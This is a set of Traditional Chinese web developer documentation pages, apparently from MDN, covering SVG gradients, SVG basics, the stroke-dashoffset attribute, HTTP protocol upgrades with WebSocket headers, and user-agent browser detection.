漸層 - SVG

漸層
==

* « 前頁
* 次頁 »

除了基本的 fill 和 stroke 之外，我們還有一個更令人興奮的功能：給邊框和填充設置漸層。

漸層的類型有兩種，線形漸層和放射形漸層。線形漸層沿直線變化，在 defs 元素裡創建一個 `<linearGradient>` (en-US) 元素，就創建了一個線形漸層。漸變**必須**有一個 `id` 屬性，否則它不能被其他元素引用，等於白做了。

線形漸層
----

Linear gradients change along a straight line. To insert one, you create a `<linearGradient>` (en-US) node inside the definitions section of your SVG file.

### 基本範例

```html
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <linearGradient id="Gradient1">
      <stop class="stop1" offset="0%" />
      <stop class="stop2" offset="50%" />
      <stop class="stop3" offset="100%" />
    </linearGradient>
    <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
      <stop offset="0%" stop-color="red" />
      <stop offset="50%" stop-color="black" stop-opacity="0" />
      <stop offset="100%" stop-color="blue" />
    </linearGradient>
    <style>
 <![CDATA[
 #rect1 { fill: url(#Gradient1); }
 .stop1 { stop-color: red; }
 .stop2 { stop-color: black; stop-opacity: 0; }
 .stop3 { stop-color: blue; }
 ]]>
 </style>
  </defs>

  <rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100" />
  <rect
 x="10"
 y="120"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#Gradient2)" />
</svg>
```

在上面的例子裡，一個線形漸層被用在`<rect>`元素上，線形漸層內部有若干 `<stop>` (en-US) 節點，它們用來指定漸變應該在什麼位置形成什麼顏色，其中兩個屬性分別是：定義偏移位置的`offset`屬性和定義顏色的`stop-color`屬性。另外，它們可以直接設置，或通過 CSS 設置。上面的例子裡混合使用了這兩種形式。比如，這個例子的漸變是從紅色開始，到中間漸變成黑色，最後漸變到藍色。你可以按照自己的想法設置各種`stop-color`，但是它們的 offset 必須是從 0%逐漸提高到 100%。（如果不加%，就是 0-1）。如果有重複的值，不會被分配到 xml 樹的最後。另外像 fill 和 stroke 一樣，你也可以設置一個`stop-opacity`屬性表示透明度。 （ff3 裡這裡也可以用 rgba 值）

```svg
<stop offset="100%" stop-color="yellow" stop-opacity="0.5"/>
```

使用漸變時，我們需要在對象的 fill 或 stroke 屬性裡引用它。就像在 CSS 里通過`url`來引用其他元素一樣，在這裡，url 引用的是我們給漸變設置的 id，所以只需要將 fill 屬性設置成`url(#Gradient)`，我們的對象就可以呈現出五彩斑斕的效果。另外你也可以給 stroke 進行同樣的設置。

`<linearGradient>`元素還可以設置其他一些屬性，用來定義尺寸和样 式。比如漸變的方向是由兩個點控制的，它們用`x1`， `x2`，`y1`，`y2`四個屬性控制，形成一條直線，漸變就沿這條直線變化。漸變默認的方向是水平方向，使用這些屬性就可以改變方向。上面例子裡的 Gradient2 就是一個垂直的漸變。

```xml
 <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
```

**備註：** 你也可以在漸變中使用`xlink:href`屬性，它可以將一個漸變的屬性和 stop 節點，引入到另一個漸變中。在下面的例子裡，我們就不需要在 Gradient2 裡重新創建許多 stop 節點。

```xml
 <linearGradient id="Gradient1">
   <stop id="stop1" offset="0%"/>
   <stop id="stop2" offset="50%"/>
   <stop id="stop3" offset="100%"/>
 </linearGradient>
 <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
 xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#Gradient1"/>
```

這裡我直接在元素裡定義了 xlink 的命名空間，通常我們會在文檔的頂部定義它。在 talk about images 有更多相關內容。

放射形漸層
-----

放射形漸層很類似線形漸層，只不過是從一個點向外發散漸變。在文檔的 defs 段落裡增加一個 `<radialGradient>` (en-US) 元素，就可以創建放射形漸層。

### 基本範例

```html
<?xml version="1.0" standalone="no"?>
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <radialGradient id="RadialGradient1">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
    <radialGradient id="RadialGradient2" cx="0.25" cy="0.25" r="0.25">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
  </defs>

  <rect
 x="10"
 y="10"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#RadialGradient1)" />
  <rect
 x="10"
 y="120"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#RadialGradient2)" />
</svg>
```

這個例子的里，放射形漸層中的 stop 節點在用法上和前面的線形漸層一樣，但是這裡的圖形對像是中間呈紅色，然後向各個方向發散漸變，直到邊緣漸變到藍色。放射形漸層`<radialGradient>`也有若干用來定義位置和方向的屬性，不過與線形漸層不同，這裡的設置會稍微複雜一點。放射形漸層裡也可以設置兩個點，用來確定它的範圍。第一個點用來定義一個環，限定漸變的範圍。該點包括坐標屬性`cx`和`cy`，以及半徑屬性`r`。定義這三個屬性，就可以改變漸變的位置和大小，就像上面例子裡的第二個漸變效果。

第二個點被稱為焦點，通過坐標屬性`fx`和`fy`來確定。第一個點決定的是漸變所處的範圍，而焦點則決定漸變的中心。看例子更好理解：

### 中心和焦點

```html
<?xml version="1.0" standalone="no"?>

<svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <radialGradient id="Gradient" cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
  </defs>

  <rect
 x="10"
 y="10"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#Gradient)"
 stroke="black"
 stroke-width="2" />

  <circle
 cx="60"
 cy="60"
 r="50"
 fill="transparent"
 stroke="white"
 stroke-width="2" />
  <circle cx="35" cy="35" r="2" fill="white" stroke="white" />
  <circle cx="60" cy="60" r="2" fill="white" stroke="white" />
  <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">
    (fx,fy)
  </text>
  <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">
    (cx,cy)
  </text>
</svg>
```

如果焦點被移動到漸變範圍之外，漸變不可能被正確渲染，所以會被重定義到範圍的邊緣。如果不定義焦點，則默認與漸變範圍的中點是同一點。

兩種漸變都可以通過一些屬性，定義諸如變形等樣式。在這裡僅提其中一個：`spreadMethod`屬性。當漸變已經到達範圍邊緣，但圖形對像還沒被完全填充時，這一屬性 將決定接下來會發生什麼。它有三個可用值，"pad", "reflect", 以及 "repeat"。 "pad"的效果你已經看到過了，當漸變到達範圍邊緣，最後一個顏色將用來填充圖形剩下的區域。 "reflect"是繼續漸變，但是會從 100%處的顏色漸變會 0%的位置，然後再翻過來繼續。 "Repeat"也是讓漸變繼續，不過是跳過返回的過程，直接回到起始狀態，然後重新漸變。

### spreadMethod

```html
<?xml version="1.0" standalone="no"?>

<svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <radialGradient
 id="GradientPad"
 cx="0.5"
 cy="0.5"
 r="0.4"
 fx="0.75"
 fy="0.75"
 spreadMethod="pad">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
    <radialGradient
 id="GradientRepeat"
 cx="0.5"
 cy="0.5"
 r="0.4"
 fx="0.75"
 fy="0.75"
 spreadMethod="repeat">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
    <radialGradient
 id="GradientReflect"
 cx="0.5"
 cy="0.5"
 r="0.4"
 fx="0.75"
 fy="0.75"
 spreadMethod="reflect">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </radialGradient>
  </defs>

  <rect
 x="10"
 y="10"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#GradientPad)" />
  <rect
 x="10"
 y="120"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#GradientRepeat)" />
  <rect
 x="120"
 y="120"
 rx="15"
 ry="15"
 width="100"
 height="100"
 fill="url(#GradientReflect)" />

  <text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt">
    Pad
  </text>
  <text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt">
    Repeat
  </text>
  <text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt">
    Reflect
  </text>
</svg>
```

另外，兩個漸變都有一個名為`gradientUnits`的屬性，它用來決定漸變的單位。它有兩個可用值：`userSpaceOnUse` or `objectBoundingBox`。 `objectBoundingBox`是默認值，表示漸變會使用圖形對象的單位，所以你定義坐標時使用的是 0 到 1，它們會自動計算成你的圖形對象使用的尺寸。 `userSpaceOnUse`表示要用絕對單位，所以你必須知道你的圖形對象的位置，然後將漸變的位置放在那兒。於是放射形漸層可以這樣寫：

```html
<radialGradient
 id="Gradient"
 cx="60"
 cy="60"
 r="50"
 fx="35"
 fy="35"
 gradientUnits="userSpaceOnUse"></radialGradient>
```

你還可以使用`gradientTransform`屬性創建其他類型的變換，但現在我們還沒說到introduced transforms，所以這些內容會留到後面再講。

當圖形對象的不是方形時，還有一個需要注意的處理方式：`gradientUnits="objectBoundingBox"`。但是它太複雜了，需要其他專家來講解。

* « 前頁
* 次頁 »


入門 - SVG

入門
==

* « 前頁
* 次頁 »
### 一個簡單的例子

讓我們用一個簡單的例子來進入主題，先看下面的程式碼：

```xml
<svg version="1.1"
 baseProfile="full"
 xmlns="http://www.w3.org/2000/svg">

  <rect width="100%" height="100%" fill="red" />

  <circle cx="150" cy="100" r="80" fill="green" />

  <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">SVG</text>

</svg>
```

複製這段程式碼，在一個文件裡貼上，給該文件起名為 demo1.svg，然後用 Firefox 打開它，會渲染成下面截圖的樣子。(Firefox 用户: 點這裡)

![svgdemo1.png](/zh-TW/docs/Web/SVG/Tutorial/Getting_Started/svgdemo1.png)

渲染過程包括以下内容：

1. 我們先看一下`svg`根元素：
    * 不使用類似(X)HTML 的文檔聲明，因為基於 SVG 的 DTD 會造成很多問題，弊大於利。
    * 為了明確 SVG 版本，`version` 和 baseProfile 兩個屬性必須要寫
    * 作為 XML 方言，SVG 必須始終绑定正確的命名空間（xmlns 属性）。更多資訊，請參考命名空間速成班頁面
2. 畫一個覆蓋整個圖形的矩形 ，將背景設為红色
3. 在红色矩形中間畫一個綠色的圓形，半徑是 80 像素（圓心坐標：x 軸向左偏移 150 像素，y 軸向上偏移 100 像素）【坐標系統會在後面章節介紹】
4. 描繪「SVG」文字，字母填充成白色，通過設定錨點定義文本的中點，在這個例子裡，中點是綠色圓形的圓心，通過調整字號和垂直位置，確保最終顯示效果的美觀
### SVG 文件的基本屬性

* 首先要注意的是元素渲染的順序，SVG 的全局規則是：靠後的元素，將在靠前的元素上面渲染。
* 在 web 上，SVG 可以直接放進瀏覽器裡顯示，或者通過以下幾種方式嵌入到 HTML 文檔中顯示：
    + 如果是 XHTML 文檔，並且響應端接受 application/xhtml+xml 類型，SVG 就可以在 XML 源裡直接嵌入
    + 如果是 HTML5 文檔，並且瀏覽器支持 HTML5，SVG 也可以直接嵌入，但是語法上需要修改，以符合 HTML5 規範。
    + SVG 可以通過 Object 元素引入:
     xml
    ```xml
    <object data="image.svg" type="image/svg+xml" />

    ```
    + 同樣可以通過 iframe 引入:
     xml
    ```xml
    <iframe src="image.svg"></iframe>

    ```
    + 理論上，img 元素也可以用来引入 SVG，但是 Firefox 4.0 之前的版本不支持這一功能。
    + 最後，SVG 可以用 JavaScript 動態創建，並且注入到 HTML DOM 裡面。這樣做的好處是，對於不支持 SVG 的瀏覽器，可以啟用其它替代技術。這是一個深入探討該主題的專題頁面。
* SVG 如何處理大小和單位，將在下一頁進行解釋。
### SVG 文件的類型

SVG 文件類型有兩種，普通的 SVG 文件是包含 SVG 標籤的文字文件，這類型文件的副檔名是「.svg」（全小寫）。

SVG 規範支持超大體積的 SVG 文件，以便符合一些應用程式的使用要求（比如地理應用），所以 SVG 規範提供了 gzip 壓縮的 SVG 文件格式，這類文件的後缀是「.svgz」（全小寫）。不幸的是，從微軟的 IIS 伺服器上獲取 SVG 壓縮文件將會出現問題，並且，Firefox 不支持本機端的 SVG 壓縮文件。所以，如果要使用 SVG 壓縮文件，你必須保證使用的是支持這種文件的服務器。

### 關於 web 服務器

現在你已經大致瞭解了如何創建 SVG 文件，下一步就是將 SVG 文件上傳到服務器上。這裡有一些問題需要注意。對於一般的 SVG 文件，服務器的 HTTP 響應端是：
```

Content-Type: image/svg+xml
```

對於經過壓縮的 SVG 文件，響應端應該是：
```

Content-Type: image/svg+xml
Content-Encoding: gzip
```

你可以通過一些網站來檢查你的服務器是否使用了正确的響應端，比如 web-sniffer.net，提交一個 SVG 文件的 URL，看一下響應端是什麼。如果你的服務器在響應裡没能返回上面的内容，那麼你應該聯繫一下你的主機服務商。如果他們不提供相關的配置服務，你也可以自動動手，具體方法可以查閱 SVG wiki 的 服務器配置頁面。

服務器配置錯誤是 SVG 加載失敗的主要原因，所以一定要確認你的配置。如果你没有給 SVG 文件配置正確的服務器響應端，Firefox 將會以文本的方式展示文件的標記和編碼内容，甚至要求用户選擇一个應用程序打開它。

* « 前頁
* 次頁 »


stroke-dashoffset - SVG

stroke-dashoffset
=================

« SVG 屬性引用首頁

`stroke-dashoffset` 屬性指定一個數值至虛線的開頭。

如果使用 <percentage> ，值則會代表當前 viewport 的百分比。

值允許為負值。

Usage context
-------------

|  |  |
| --- | --- |
| 類別 | Presentation attribute |
| 可用值 | <percentage> |
 <length> | inherit
  |
| 初始值 | 0 |
| 可動畫化 | 是 |
| 規範文件 | SVG 1.1 (2nd Edition) |

範例
--

### HTML 內容

```html
<svg
 width="200"
 height="200"
 viewBox="0 0 200 200"
 version="1.1"
 xmlns="http://www.w3.org/2000/svg">
  <line
 stroke-dashoffset="0"
 stroke-dasharray="20"
 x1="0"
 y1="10"
 x2="200"
 y2="10" />
  <line
 stroke-dashoffset="10"
 stroke-dasharray="20"
 x1="0"
 y1="20"
 x2="200"
 y2="20" />
  <line
 stroke-dashoffset="20"
 stroke-dasharray="20"
 x1="0"
 y1="30"
 x2="200"
 y2="30" />
  <line
 stroke-dashoffset="50%"
 stroke-dasharray="20"
 x1="0"
 y1="40"
 x2="200"
 y2="40" />
  <line
 stroke-dashoffset="25%"
 stroke-dasharray="20"
 x1="0"
 y1="50"
 x2="200"
 y2="50" />
  <line
 stroke-dashoffset="0%"
 stroke-dasharray="20"
 x1="0"
 y1="60"
 x2="200"
 y2="60" />
</svg>
```

### CSS 內容

```css
line {
  stroke: #51bba7;
  stroke-width: 2;
}
```

### 結果

適用元素
----

以下元素可以使用 `stroke-dashoffset` 屬性

* Shape elements »
* Text content elements »
規範
--

| Specification |
| --- |
| Scalable Vector Graphics (SVG) 2 # StrokeDashoffsetProperty |

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


協議升級機制 - HTTP

協議升級機制
======

HTTP/1.1 協議提供了一種特殊的機制，這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。

通常來說這一機制總是由客戶端發起的 （不過也有例外，比如說可以由服務端發起升級到傳輸層安全協議（TLS））， 服務端可以選擇是否要升級到新協議。借助這一技術，連接可以以常用的協議啟動（如 HTTP/1.1），隨後再升級到 HTTP2 甚至是 WebSockets.

注意：HTTP/2 明確禁止使用此機制，這個機制只屬於 HTTP/1.1

升级 HTTP/1.1 連線
--------------

 協議升級請求總是由客戶端發起的；暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時，可以先發送一個普通的請求（`GET`，`POST` (en-US)等），不過這個請求需要進行特殊配置以包含升級請求。
 Upgrade 請求看起來就像：
```

GET /index.html HTTP/1.1
Host: www.example.com
Connection: upgrade
Upgrade: example/1, foo/2
```

根據之前的請求的協議，可能需要其他頭部信息，例如：從 HTTP/1.1 升級到 WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息，以及在連接時提供一定程度的安全性。查看 Upgrading to a WebSocket connection 獲取更多信息。

如果服務器決定升級這次連接，就會返回一個 `101 Switching Protocols` 響應狀態碼，和一個要切換到的協議的頭部字段 Upgrade。 如果服務器沒有（或者不能）升級這次連接，它會忽略客戶端發送的 "Upgrade 頭部字段，返回一個常規的響應：例如一個`200 OK`).

服務在發送 101 狀態碼之後，就可以使用新的協議，並可以根據需要執行任何其他協議指定的握手。實際上，一旦這次升級完成了，連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。

Common uses for this mechanism
------------------------------

Here we look at the most common use cases for the `Upgrade` (en-US) header.

### Upgrading to a WebSocket connection

By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the WebSocket API, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:

```js
webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
```

The `WebSocket()` (en-US) constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.

**備註：** You can also use the `"wss://"` URL scheme to open a secure WebSocket connection.

If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the `Upgrade` (en-US) and `Connection` headers, as follows:
```

Connection: Upgrade
Upgrade: websocket
```

### WebSocket-specific headers

The following headers are involved in the WebSocket upgrade process. Other than the `Upgrade` (en-US) and `Connection` headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.

#### `Sec-WebSocket-Extensions`

Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one `Sec-WebSocket-Extension` header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.
```

Sec-WebSocket-Extensions: extensions
```

`extensions`

A comma-separated list of extensions to request (or agree to support). These should be selected from the IANA WebSocket Extension Name Registry. Extensions which take parameters do so by using semicolon delineation.

For example:
```

Sec-WebSocket-Extensions: superspeed, colormode; depth=16
```

#### `Sec-WebSocket-Key`

Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this *does not provide security*. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."

This header is automatically added by clients that choose to use it; it cannot be added using the `XMLHttpRequest.setRequestHeader()` method.
```

Sec-WebSocket-Key: key
```

`key`

The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.

The server's response's `Sec-WebSocket-Accept` (en-US) header will have a value computed based upon the specified `key`.

#### `Sec-WebSocket-Protocol`

The `Sec-WebSocket-Protocol` header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a `Sec-WebSocket-Protocol` header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.
```

Sec-WebSocket-Protocol: subprotocols
```

`subprotocols`

A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.

#### `Sec-WebSocket-Version`

##### Request header

Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.
```

Sec-WebSocket-Version: version
```

`version`

The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.

##### Response header

If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a `Sec-WebSocket-Version` header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no `Sec-WebSocket-Version` header is included in the response.
```

Sec-WebSocket-Version: supportedVersions
```

`supportedVersions`

A comma-delineated list of the WebSocket protocol versions supported by the server.

### Response-only headers

The response from the server may include these.

#### `Sec-WebSocket-Accept` (en-US)

Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.
```

Sec-WebSocket-Accept: hash
```

`hash`

If a `Sec-WebSocket-Key` header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the SHA-1 hash of that concatenated string, resulting in a 20-byte value. That value is then base64 (en-US) encoded to obtain the value of this property.

References
----------

* WebSocket API
* HTTP
* Specifications and RFCs:
    + RFC 7230
    + RFC 6455
    + RFC 7540


透過用戶代理偵測瀏覽器 - HTTP

透過用戶代理偵測瀏覽器
===========

針對不同的瀏覽器給予不同的網頁或服務，通常不是好主意：網路的原意，是要讓所有人都能訪問，無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於（瀏覽器）功能可用性的漸進增強法開發，而不是特別指定某種瀏覽器。

不過瀏覽器與標準並不是完美的，有些特殊情況依舊需要偵測瀏覽器。透過用戶代理（user agent）去偵測瀏覽器看似簡單，要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。

**備註：** 因為很重要所以再說一次：實行用戶代理嗅探（User Agent sniffing）通常不是好主意。問題通常都會有更好、更通用的解決方法！

使用瀏覽器偵測前應當考慮什麼
--------------

在考慮透過用戶代理字串，去偵測使用瀏覽器時，首先要盡可能避免這種用法。先從認清**為什麼**要這麼做開始。

你正針對某瀏覽器的特定錯誤奮戰著？

去專業論壇閱讀或提問：你不太可能是第一個碰上問題的人。另外，去找專家、或只是與你有不同觀點的人問問看，也會對你的除錯思路有所幫助。如果問題看來頗為罕見，你應該去檢查這個錯誤是不是透過缺陷跟蹤管理系統（bug tracking system：Mozilla、WebKit、Blink、Opera）報告到瀏覽器供應商。瀏覽器供應商很重視錯誤報告，相關分析也可能提示該錯誤的其他解決辦法。

你正試圖檢查某個特定功能是否存在？

你的網站需要用到某些瀏覽器不支援的功能，並給這些用戶功能更少，但你知道能正常顯示的網站。這類用戶代理嗅探的理由非常糟糕，因為大多數的瀏覽器，最終都有可能支援該功能。對所有瀏覽器都予以測試也不實際。**絕對不要**用戶代理嗅探、功能偵測是**永遠**的替代方案。

你希望給不同的瀏覽器不同的 HTML？

這種作法通常不太好，不過有時候卻是必要的。在此種情況下，你首先要分析是否真該這麼做。你能藉由加入某些無語意的 `<div>` 或 `<span>` (en-US) 元素避免嗎？與難以完成的用戶代理偵測比起來，HTML 整潔性的稍稍降低變得相當值得。另外，請重新構思你的設計：你能藉由漸進增強或是流動排版（fluid layouts）來消除用戶代理偵測的需求嗎？

避免用戶代理偵測
--------

如果要避免用戶代理偵測，有以下選項！

功能偵測

功能偵測使你無須弄清是哪種瀏覽器在渲染你的網頁，只須檢查需要的具體功能是否能用。如果不能用，就採取備用方案。在極少數的情況下，各瀏覽器行為有所不同。面對這種情況，不要偵測用戶代理，而是用實作測試來檢查瀏覽器 API、並搞清楚用法。最近有個好例子：Chrome 針對正規表達式，添加了實驗性的 lookbehind 支援，但其他瀏覽器並不支援。你可能以為要這麼用：

```js
// 這個程式以特殊表示法把字串分開來

if (navigator.userAgent.indexOf("Chrome") !== -1) {
  // 好，這用戶應該是支援 look-behind regexps
  // 不要在不支援該功能的瀏覽器使用 /(?<=[A-Z])/
  // 因為瀏覽器都會解析整個腳本，包括從未執行過的代碼部分。
  // 進而讓不支援該功能的瀏覽器拋出語法錯誤。
  var camelCaseExpression = new RegExp("(?<=[A-Z])");
  var splitUpString = function (str) {
    return ("" + str).split(camelCaseExpression);
  };
} else {
  /\* 這個語法的性能差得多，但能動 \*/
  var splitUpString = function (str) {
    return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
  };
}
console.log(splitUpString("fooBare")); // ["fooB", "are"]
console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
```

但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢？如果其他瀏覽器支援了 lookbehind 正規表達式呢？如果其他瀏覽器在用戶代理名字內，混入了 *Chrome* 呢？這個列表會因此，讓可怕的錯誤不斷發生。因此，你應該用以下的功能檢測：

```js
var isLookBehindSupported = false;
try {
  isLookBehindSupported = !!new RegExp("(?<=)");
} catch (e) {
  // 不支援的瀏覽器會出現 lookbehind expressions err
}
var splitUpString = isLookBehindSupported
  ? function (str) {
      return ("" + str).split(new RegExp("(?<=[A-Z])"));
    }
  : function (str) {
      return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
    };
```

這程式**一定**會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情，**完全沒有**動用用戶代理嗅探的理由。

最後，上面的程式碼還附帶一個必須考量的，有關跨瀏覽器的關鍵問題：不要在不支援的瀏覽器，使用到要測試的 API。這聽來簡單，但有時候不是這樣：同樣以上面為例，在簡寫正規表達式使用 lookbehind（如 `/reg/igm`）會讓不支援該功能瀏覽器的解析器出錯。因此，你需要使用 *new RegExp("(?<=look\_behind\_stuff)");* 而非 */(?<=look\_behind\_stuff)/*，哪怕 lookbehind 已經支援了。

漸進增強（Progressive Enhancement）

此設計技術與網站開發的「層次」有關：它運用下而上的途徑、從簡單的層次開始，透過一連串的層次，漸漸增強網站的能力。

優雅降級（Graceful degradation）

這種由上而下的途徑，是先在建造網站時，就用上所有需要的功能，再調整到令舊版瀏覽器也能執行。這種途徑與漸進增強相比，難度更高、效率也更糟，不過在某些情況下也可能更管用。

行動設備偵測（Mobile Device Detection）

檢查是否透過行動設備上網，大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事，卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探，將用戶設備導向至易於觸碰的小螢幕，以便加強網站體驗。

用戶代理這方面有時有用，但問題是所有設備不完全相同：有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人！

因此，用戶代理嗅探絕不是好辦法。但是，還有更好的選擇：例如使用 Navigator.maxTouchPoints (en-US) 來檢查用戶設備有沒有觸控螢幕；接著在 *if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/}* 時，就切回用戶代理檢查。利用這個訊息，來檢查設備有沒有觸控螢幕。

不要為了觸控設備，就換掉整個排版。這只會讓自己更費工、維護更頭痛；而是加點讓觸摸更便利的東西：像是好按的按鈕（這可以透過在 CSS 增加字體大小完成）。以下是針對 #exampleButton 在手機環境時，增加 1em 的程式範例：

```js
var hasTouchScreen = false;
if ("maxTouchPoints" in navigator) {
    hasTouchScreen = navigator.maxTouchPoints > 0;
} else if ("msMaxTouchPoints" in navigator) {
    hasTouchScreen = navigator.msMaxTouchPoints > 0;
} else {
    var mQ = window.matchMedia && matchMedia("(pointer:coarse)");
    if (mQ && mQ.media === "(pointer:coarse)") {
        hasTouchScreen = !!mQ.matches;
    } else if ('orientation' in window) {
        hasTouchScreen = true; // depedicated, but good fallback
    } else {
        // Only as a last resort, fall back to user agent sniffing
        var UA = navigator.userAgent;
        hasTouchScreen = (
            /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) ||
            /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA)
        );
    }
}
if (hasTouchScreen)
  document.getElementById("exampleButton").style.padding="1em";
```

針對螢幕尺寸，則使用 *window.innerWidth* 與 *window.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })*。

不要刪減小螢幕能看到的資訊，這只會激怒被逼著切到桌面版的用戶們；而是應該針對小螢幕，提供行列更少，但頁面更長的資訊；針對大螢幕，則提供行列更多，但頁面更短的資訊。這種效果能透過 flexboxes (en-US) 實現。如果需要有限支援舊版本，請使用 floats (en-US) 屬性。

另外，試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題，但下面的詳細示例，可能會給你有力的見解和想法，放棄用戶代理嗅探。

我們先想像一個由各種貓貓或狗狗的訊息框，所組成的頁面；每個訊息框都有圖片、概覽、還有歷史趣聞；而圖片即使在大螢幕上，也要保持最大的合理尺寸。為了讓內容有意義的排列在一起，所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上，會節省具有多列的空間，從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。

現在我們能假設在原始碼裡面，狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯，有一個狗狗訊息框，就在貓貓訊息框的上面。第一個方法，就是使用水平的 Flexbox (en-US) 把內容組合起來。這樣，當頁面顯示給最終用戶時，狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方；第二個方法，就是使用 Column (en-US) layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下，就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現：他們會呈現一列非常寬的框。

再考慮一下這個例子：如果有人是想來看貓貓的，那我們就可以在原始碼裡面，把貓貓放到狗狗的上面。這樣一來，更多的人就可以在更小的螢幕上（內容折疊成一列）更快找到需要的內容。

接著，確保程式是動態性的。用戶可以翻轉手機，以改變頁面長寬；或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法，就是在一個函式內透過螢幕尺寸，把所有可移動內容的程式分開。而分開這些程式的觸發點，則放在頁面載入、或觸動 resize (en-US) 事件時。如果載入新佈局頁面前，需要在函式內計算很多東西，請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。

